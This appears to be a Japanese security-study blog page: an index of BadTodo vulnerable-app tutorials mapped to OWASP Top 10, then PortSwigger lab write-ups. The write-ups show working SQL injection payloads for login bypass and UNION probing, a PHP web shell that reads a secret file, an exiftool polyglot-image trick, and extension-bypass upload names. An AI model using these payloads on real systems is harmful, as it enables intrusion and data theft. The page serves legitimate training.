やられアプリ(やられサイト)BadTodo 脆弱性のまとめ

脆弱性診断実習用アプリ BadTodo 関連投稿へのリンク一覧です。
BadTodo - 1 準備
BadTodo - 2 ZAPでのスキャン
BadTodo - 3.1 SQLインジェクション 認証の回避
BadTodo - 3.2 SQLインジェクション 非公開情報の漏洩
BadTodo - 3.3 SQLインジェクション DB情報の取得
BadTodo - 3.4 SQLインジェクション ID/パスワードの取得
BadTodo - 3.5 SQLインジェクション 情報の改ざん・追加・削除
BadTodo - 3.6 SQLインジェクション MariaDBのパスワード取得
BadTodo - 3.7 SQLインジェクション idパラメータに対して
BadTodo - 3.8 SQLインジェクション sqlmapを使う
BadTodo - 3.9 SQLインジェクション 対策方法
BadTodo - 3.10 ブラインドSQLインジェクション (Boolean-Based) 練習
BadTodo - 4.1 XSS(クロスサイト・スクリプティング)
BadTodo - 4.1.1 XSS 対策方法(HttpOnly属性の付与)
BadTodo - 4.2 XSS ログイン画面で
BadTodo - 4.3 XSS ID毎のTodo一覧画面
BadTodo - 4.4 XSS Todoの削除画面
BadTodo - 4.5 XSS マイページ
BadTodo - 4.6 XSS パスワード変更ページ
BadTodo - 4.7 XSS Todo詳細ページ
BadTodo - 4.8 XSS 対策方法(エスケープ処理)
BadTodo - 4.9 DOM Based XSS
BadTodo - 4.10 XSS URL属性値に対して
BadTodo - 5 オープンリダイレクト
BadTodo - 6 ディレクトリトラバーサル
BadTodo - 7 リモート・ファイルインクルード(RFI)
BadTodo - 8.1 OS コマンド・インジェクション(リモートコード実行。CVE-2012-1823)
BadTodo - 8.2 OS コマンド・インジェクション(内部でシェルを呼び出す関数)
BadTodo - 9 Server Side Code Injection - PHP Code Injection
BadTodo - 10.1 CSRF(クロスサイト・リクエスト・フォージェリ)
BadTodo - 10.5 CSRF(対策)
BadTodo - 10.6 CSRF対策トークンの不備
BadTodo - 10.7 XSSによるCSRF対策の突破
BadTodo - 11 HTTP ヘッダ・インジェクション
BadTodo - 12 メールヘッダ・インジェクション
BadTodo - 13.1 クリックジャッキング
BadTodo - 13.2 クリックジャッキング 対策方法(X-Frame-Optionsヘッダ)
BadTodo - 14 セッション管理の不備
BadTodo - 15 アクセス制御や認可制御の欠落
BadTodo - 16 バッファオーバーフロー
BadTodo - 17.1 認証(パスワードの強度・ログアウト)
BadTodo - 17.2 補足 保存するパスワードのハッシュ化
BadTodo - 17.3 パスワードハッシュ化の目的
BadTodo - 17.4 ハッシュの解析(hash cat を使う)
BadTodo - 18 クローラへの耐性
BadTodo - 19 ディレクトリ・リスティング
BadTodo - 20 A4:2017 - XML外部エンティティ参照 (XXE)
BadTodo - 21 A10:2021 - サーバーサイドリクエストフォージェリ(SSRF)
BadTodo - 22 A8:2017 - 安全でないデシリアライゼーション
BadTodo - 23 evalインジェクション
BadTodo - 24 適切でないアップロートファイル制限
BadTodo - 25.1 色々混ぜてやってみる1(XSS - CSRF -WebShell)
BadTodo - 25.2 色々混ぜてやってみる2(XSS - CSRF -WebShell)
BadTodo - 26.1 NULLバイト攻撃(+ファイルインクルード)
BadTodo - 26.2 NULLバイト攻撃(+SQLインジェクション)
BadTodo - 26.3 NULLバイト攻撃(+XSS)
BadTodo - 26.4 NULLバイト攻撃(POSTリクエストの場合)
BadTodo - 27 TOCTOU競合
BadTodo - 28 レースコンディション
BadTodo - 29 キャッシュからの情報漏洩

BadTodoは以下の脆弱性を網羅しています

IPA 安全なウェブサイトの作り方 第7版より
1.1 SQLインジェクション
1.2 OSコマンド・インジェクション
1.3 パス名パラメータの未チェック/ディレクトリ・トラバーサル
1.4 セッション管理の不備
1.5 クロスサイト・スクリプティング
1.6 CSRF(クロスサイト・リクエスト・フォージェリ)
1.7 HTTPヘッダ・インジェクション
1.8 メールヘッダ・インジェクション
1.9 クリックジャッキング
1.10 バッファオーバーフロー
1.11 アクセス制御や認可制御の欠落

ウェブ健康診断仕様より
(安全なウェブサイトの作り方との重複点をグレーアウト)
1 (A) SQL インジェクション
2 (B) クロスサイト・スクリプティング
3 (C) CSRF(クロスサイト・リクエスト・フォージェリ)
4 (D) OS コマンド・インジェクション
5 (E) ディレクトリ・リスティング
6 (F) メールヘッダ・インジェクション
7 (G) パス名パラメータの未チェック/ディレクトリ・トラバーサル
8 (H) 意図しないリダイレクト(オープンリダイレクト)
9 (I) HTTP ヘッダ・インジェクション
10 (J) 認証
11 (K) セッション管理の不備
12 (L) 認可制御の不備、欠落
13 (M) クローラへの耐性

OWASP Top 10 2017(重複をグレーアウト)
A1:2017 - インジェクション(A03:2021- インジェクション)
 BadTodo - 3 SQLインジェクション
 BadTodo - 8 OS コマンド・インジェクション
 BadTodo - 9 Server Side Code Injection
A2:2017 - 認証の不備(A07:2021-識別と認証の失敗)
 BadTodo - 17 認証(パスワードの強度・ログアウト)
(パスワードをデータストアに保存する際に、プレーンテキストのままで保存している)
 BadTodo - 3.4 SQLインジェクション ID・パスワードの取得
(セッション識別子がURLの一部として露出してしまっている)
(ログイン後にセッション識別子を使いまわしている)
(セッションIDを正しく無効化していない)
 BadTodo - 14 セッション管理の不備
A3:2017 - 機微な情報の露出
 BadTodo - 17 認証(パスワードの強度・ログアウト)
 BadTodo - 3.4 SQLインジェクション ID・パスワードの取得
A4:2017 - XML 外部エンティティ参照(XXE) (A05:2021-セキュリティの設定ミス)
 BadTodo - 20 XML外部エンティティ参照 (XXE)
A5:2017 - アクセス制御の不備(A01:2021-アクセス制御の不備)
 BadTodo - 15 アクセス制御や認可制御の欠落
 BadTodo - 10 CSRF(クロスサイト・リクエスト・フォージェリ)
 BadTodo - 19 ディレクトリ・リスティング
A6:2017 - 不適切なセキュリティ設定(A05:2021-セキュリティの設定ミス)
 BadTodo - 19 ディレクトリ・リスティング
(詳細なエラーメッセージの表示)
 BadTodo - 3 SQLインジェクション
 BadTodo - 6 ディレクトリトラバーサル
A7:2017 - クロスサイトスクリプティング (XSS)
 BadTodo - 4 XSS(クロスサイト・スクリプティング)
A8:2017 - 安全でないデシリアライゼーション(A08:2021-ソフトウェアとデータの整合性の不具合)
 BadTodo - 22 A8:2017 - 安全でないデシリアライゼーション
A9:2017 - 既知の脆弱性のあるコンポーネントの使用(A06:2021-脆弱で古くなったコンポーネント)
(ソフトウェアが脆弱な場合やサポートがない場合、また使用期限が切れている場合)
 BadTodo - 8.1 OS コマンド・インジェクション(リモートコード実行。CVE-2012-1823)
A10:2017 - 不十分なロギングとモニタリング(A09:2021-セキュリティログとモニタリングの失敗)
(ログと監視が不十分で、組織が知らないうちに攻撃者に脆弱性を突かれること)(ロギングとモニタリングに関しては、ブラックボックスでの診断は難しく、ソースコード診断になるかと思います。[https://github.com/ockeghem/badtodo/blob/main/docs/vulnerabilities.md:title])

OWASP Top 10 2021
A01:2021-アクセス制御の不備
 BadTodo - 15 アクセス制御や認可制御の欠落
 BadTodo - 10 CSRF(クロスサイト・リクエスト・フォージェリ)
 BadTodo - 19 ディレクトリ・リスティング
A02:2021-暗号化の失敗
 BadTodo - 17 認証(パスワードの強度・ログアウト)
 (SSL(TLS)の設定)
 (HSTS)
 (パスワードの平文保存)
A03:2021-インジェクション
 BadTodo - 4 XSS(クロスサイト・スクリプティング)
 BadTodo - 3 SQLインジェクション
 BadTodo - 8 OS コマンド・インジェクション
 BadTodo - 9 Server Side Code Injection
A04:2021-安全が確認されない不安な設計
 BadTodo - 18 クローラへの耐性
(CWE-256 パスワードなどのアカウント情報が平文のまま格納されている問題)
 BadTodo - 3.4 SQLインジェクション ID・パスワードの取得
(CWE-434 適切でないアップロートファイル制限)
 BadTodo - 23 適切でないアップロートファイル制限 CWE-434
(CWE-598 GETリクエストのクエリ文字列からの情報漏洩)
 BadTodo - 14 セッション管理の不備
A05:2021-セキュリティの設定ミス
 A4:2017 - XML 外部エンティティ参照 (XXE)
 BadTodo - 19 ディレクトリ・リスティング
(詳細なエラーメッセージの表示)
 BadTodo - 3 SQLインジェクション
 BadTodo - 6 ディレクトリトラバーサル
(クッキーへの機密情報の保存)
 BadTodo - 15 アクセス制御や認可制御の欠落
(クッキーのセキュア属性不備)
 BadTodo - 14 セッション管理の不備
(HttpOnly属性不備)
 BadTodo - 4.1.1 XSS 対策方法(HttpOnly属性の付与)
(セキュリティヘッダの不備)
A06:2021-脆弱で古くなったコンポーネント
(ソフトウェアが脆弱な場合やサポートがない場合、また使用期限が切れている場合)
 8.1 OS コマンド・インジェクション(リモートコード実行。CVE-2012-1823)
A07:2021-識別と認証の失敗
 BadTodo - 17 認証(パスワードの強度・ログアウト)
(パスワードをデータストアに保存する際に、プレーンテキストのままで保存している)
 BadTodo - 3.4 SQLインジェクション ID・パスワードの取得
(セッション識別子がURLの一部として露出してしまっている)
(ログイン後にセッション識別子を使いまわしている)
(セッションIDを正しく無効化していない)
 BadTodo - 14 セッション管理の不備
A08:2021-ソフトウェアとデータの整合性の不具合
 安全でないデシリアライゼーション
 BadTodo - 22 A8:2017 - 安全でないデシリアライゼーション
A09:2021-セキュリティログとモニタリングの失敗
(ログと監視が不十分で、組織が知らないうちに攻撃者に脆弱性を突かれること)(ロギングとモニタリングに関しては、ブラックボックスでの診断は難しく、ソースコード診断になるかと思います。[https://github.com/ockeghem/badtodo/blob/main/docs/vulnerabilities.md:title])
 (ログからの情報漏洩)
A10:2021-サーバーサイドリクエストフォージェリ(SSRF)
 BadTodo - 21 サーバーサイドリクエストフォージェリ(SSRF)

BadTodo は
安全なWebアプリケーションの作り方 第2版
にも対応しています。各脆弱性への対応策もまだ記述できていませんので作成を続けていきます。

[https://www.sbcr.jp/product/4797393163/:embed:cite]

SQL injection 13 / 51 LAB3

UNION 攻撃。クエリによって返される列の数を決定する

前提:商品カテゴリにSQLインジェクションが存在する

クエリの結果はアプリケーションのレスポンスで返されるため UNIONが使える。

デフォルトリクエスト・レスポンス

GET /filter?category=Accessories HTTP/2
Host: 0a38009304f9741681361b78002e0005.web-security-academy.net
Cookie: session=AQ0GHyPcm9wET6rDXMRgFCDYaHwQFMBS
~省略~

HTTP/2 200 OK
~省略~
<th>Cheshire Cat Grin</th>


結果表は4行

検証例1:エラーを発生させてみる

GET /filter?category=Accessories%27 HTTP/2
↓
HTTP/2 500 Internal Server Error
GET /filter?category=Accessories%27%27 HTTP/2
↓
HTTP/2 200 OK
~省略~
<h1>Accessories&apos;&apos;</h1>
GET /filter?category=Accessories%27%27%27 HTTP/2
↓
HTTP/2 500 Internal Server Error

検証例2:null を増やしていく

GET /filter?category=Accessories%27union+select+null-- HTTP/2
↓
HTTP/2 500 Internal Server Error
GET /filter?category=Accessories%27union+select+null,null,null-- HTTP/2
↓
HTTP/2 200 OK


結果、空(null)行が1行追加され計5行となっている。

SQL injection 8 / 51 LAB2

ログイン機能のバイパス

前提:administrator というユーザ名が存在することは分かっている。

検証1:Username=administrator, Password=password

エラー:Invalid username or password.

検証2:Username=administrator'--, Password=`` 空値

未入力に対するチェックが入る

検証3:Username=administrator'--, Password=hoge

ログイン成功

リクエスト

POST /login HTTP/2
Host: 0aa600c7035ad5ff8030265000ec0072.web-security-academy.net
Cookie: session=PTS2qP1W9C2YJ7KzC0bT6jmqE4Ubgsiz
~省略~

csrf=bIhKMmiAEFvHRGpWAOopYDBKwPdvCLsY&username=administrator%27--&password=hoge

レスポンス

HTTP/2 302 Found
Location: /my-account?id=administrator
Set-Cookie: session=CmWlpcsfmabpu4fL16A4mU4D1YMVe4XK; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0

SQL injection 6 / 51 LAB1

WHERE 句を使った SQL インジェクション

Gifts カテゴリーを選択=全3商品

この時のSQLクエリは次の通り。

SELECT * FROM products WHERE category = 'Gifts' AND released = 1

シングルクォート1つ追加

GET /filter?category=Gifts%27
(今回の例ではURLエンコードしない Gifts' でも同様の結果となった)

HTTP/2 500 Internal Server Error

シングルクォート2つ

GET /filter?category=Gifts%27%27

HTTP/2 200 OK
~省略~
<h1>Gifts&apos;&apos;</h1>

シングルクォート3つ

GET /filter?category=Gifts%27%27%27

HTTP/2 500 Internal Server Error

上記の挙動から``` = シングルクォートがSQL構文として有効に解釈されていると推測される。
よって次の入力を試す。

GET /filter?category=Gifts%27+or+1=1--

このときのSQLクエリは下記となる。

SELECT * FROM products WHERE category = 'Gifts' or 1=1--' AND released = 1

結果、未リリースの商品(released = 1 以外)を含めた全カテゴリーの商品が表示される。

ポリグロットWeb Shell アップロードによるリモートコード実行

26 of 35 ラボ

https://portswigger.net/web-security/learning-paths/file-upload-vulnerabilities/flawed-validation-of-the-file-s-contents/file-upload/lab-file-upload-remote-code-execution-via-polyglot-web-shell-upload

1. デフォルトリクエスト

POST /my-account/avatar HTTP/2
Host: 0a6700fc03049b368000217e001d00ed.web-security-academy.net
Cookie: session=efUMh50kz9cCDfpO9SErNpqjec2epZfp
~省略~
------WebKitFormBoundarys7SzOdZyjdf9UAAx
Content-Disposition: form-data; name="avatar"; filename="hacker.png"
Content-Type: image/png

�PNG
~バイナリのため省略~

デフォルトアップロード先:

<img src="/files/avatars/hacker.png" class="avatar">

テスト用WebShell

<?php echo file_get_contents('/home/carlos/secret'); ?>

2. 改ざん1

POST /my-account/avatar HTTP/2
Host: 0a6700fc03049b368000217e001d00ed.web-security-academy.net
Cookie: session=efUMh50kz9cCDfpO9SErNpqjec2epZfp
~省略~
------WebKitFormBoundaryFaR7iNBYy39Qlp1w
Content-Disposition: form-data; name="avatar"; filename="webshell1.php"
Content-Type: application/octet-stream

<?php echo file_get_contents('/home/carlos/secret'); ?>
------WebKitFormBoundaryFaR7iNBYy39Qlp1w

"Error: file is not a valid image Sorry, there was an error uploading your file."

3. ExifTool によるポリグロットファイルの作成

GitHub - exiftool/exiftool: ExifTool meta information reader/writer

$ sudo apt install libimage-exiftool-perl
$ exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" hacker.png -o polyglot.php
    1 image files created
$ ls -l hacker.png
-rw-r--r-- 1 demandosigno demandosigno 234685 Nov  2 18:26 hacker.png
$ file hacker.png
hacker.png: PNG image data, 718 x 718, 8-bit/color RGBA, non-interlaced

$ exiftool polyglot.php
ExifTool Version Number  : 12.40
File Name                : polyglot.php
~略~
File Type                : PNG
File Type Extension      : png
MIME Type                : image/png
~略~
Comment                  : <?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>

4. 改ざん2:作成した polyglot.php をフォームからアップロードする。

------WebKitFormBoundaryZ9jO6j6wTUv8H9sA
Content-Disposition: form-data; name="avatar"; filename="polyglot.php"
Content-Type: application/octet-stream

�PNG
~省略~StEXtComment<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>~省略~

アップロード先:

<img src="/files/avatars/polyglot.php" class="avatar">

START と END の間の文字列が答え。

難読化されたファイル拡張子によるWeb Shell のアップロード。23 of 35 ラボ

ブラックリスト・バイパスによる Web shell のアップロード。23 of 35 ラボ

https://portswigger.net/web-security/learning-paths/file-upload-vulnerabilities/insufficient-blacklisting-of-dangerous-file-types/file-upload/lab-file-upload-web-shell-upload-via-obfuscated-file-extension

デフォルトリクエスト

POST /my-account/avatar HTTP/2
Host: 0a2100ed048919a1823e510600a700de.web-security-academy.net
Cookie: session=BbuOADoJBlHjvRrRWcJhrRk9eZXX05O1
~省略~
------WebKitFormBoundaryhVfDZJ94x6USDOlu
Content-Disposition: form-data; name="avatar"; filename="hacker.png"
Content-Type: image/png

�PNG
~バイナリのため省略~

デフォルトアップロード先

<img src="/files/avatars/hacker.png" class="avatar">

1. テスト用WebShell

<?php echo file_get_contents('/home/carlos/secret'); ?>

"Sorry, only JPG & PNG files are allowed"

2. 拡張子の改ざん

webshell.pHp → Sorry
webshell.php.jpg → uploaded だが、壊れた jpg としてしか認識されない
webshell.php. → Sorry
webshell%2Ephp → Sorry
webshell.php;.jpg → uploaded だが、404 Not Found
webshell.php%00.jpg → uploaded だが、404 Not Found

しかし、%00.jpg 部分は消すとPHPファイルとして動作する

/* -----codeの行番号----- */